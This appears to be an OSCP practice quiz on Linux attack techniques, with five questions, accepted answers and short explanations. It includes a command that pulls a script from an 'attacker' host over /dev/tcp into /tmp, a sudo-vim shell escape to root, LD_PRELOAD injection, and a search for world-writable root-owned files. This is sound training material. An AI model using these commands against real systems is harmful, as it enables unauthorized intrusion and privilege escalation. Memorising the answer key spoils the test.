OSCP Linux 4

Question 1

What command transfers a file from an attacker's machine to a victim Linux box using only built-in tools when curl and wget are unavailable?

Accepted Answer

bash -c 'cat > /tmp/file.sh < /dev/tcp/attacker/80'

Answer

Bash's built-in /dev/tcp pseudo-device allows file transfers by reading from a TCP connection without needing curl, wget, or netcat.

Question 2

Which file contains the list of users allowed to use the 'at' command for scheduling tasks, which could be abused for persistence?

Accepted Answer

/etc/at.allow

Answer

/etc/at.allow specifies which users may submit jobs to the at scheduler; if the file doesn't exist, /etc/at.deny controls access instead.

Question 3

A penetration tester finds that /etc/sudoers contains 'user ALL=(ALL) NOPASSWD: /usr/bin/vim'. How can this be exploited for privilege escalation?

Accepted Answer

Run 'sudo vim' then use ':!/bin/bash' to spawn a root shell

Answer

Vim's shell escape ':!/bin/bash' spawns a shell that inherits vim's permissions, so running vim via sudo produces a root shell.

Question 4

What is a Linux 'shared object injection' (LD_PRELOAD) attack?

Accepted Answer

Loading a malicious shared library before the standard ones to override functions in a privileged binary

Answer

LD_PRELOAD forces the dynamic linker to load a specified shared library first, allowing an attacker to override libc functions in any binary that respects this variable.

Question 5

Which command checks for world-writable files owned by root that could be abused to escalate privileges?

Accepted Answer

find / -user root -perm -o=w -type f 2>/dev/null

Answer

This find command locates files owned by root but writable by anyone (other-write permission), which may allow an attacker to modify root-owned scripts or configs.

OSCP - Offensive Security Certified Professional Practice Test

OSCP - Offensive Security Certified Professional Practice Test

OSCP Linux 4